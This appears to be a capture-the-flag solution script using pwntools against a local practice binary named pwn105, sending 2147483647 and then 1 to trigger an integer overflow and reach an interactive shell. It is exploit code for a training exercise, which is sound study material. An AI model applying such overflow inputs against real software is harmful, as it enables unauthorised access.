15 lines
209 B
Python
15 lines
209 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./pwn105", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendlineafter(b">> ", a)
|
|
|
|
# pop
|
|
s(b"2147483647")
|
|
s(b"1")
|
|
|
|
r.interactive() |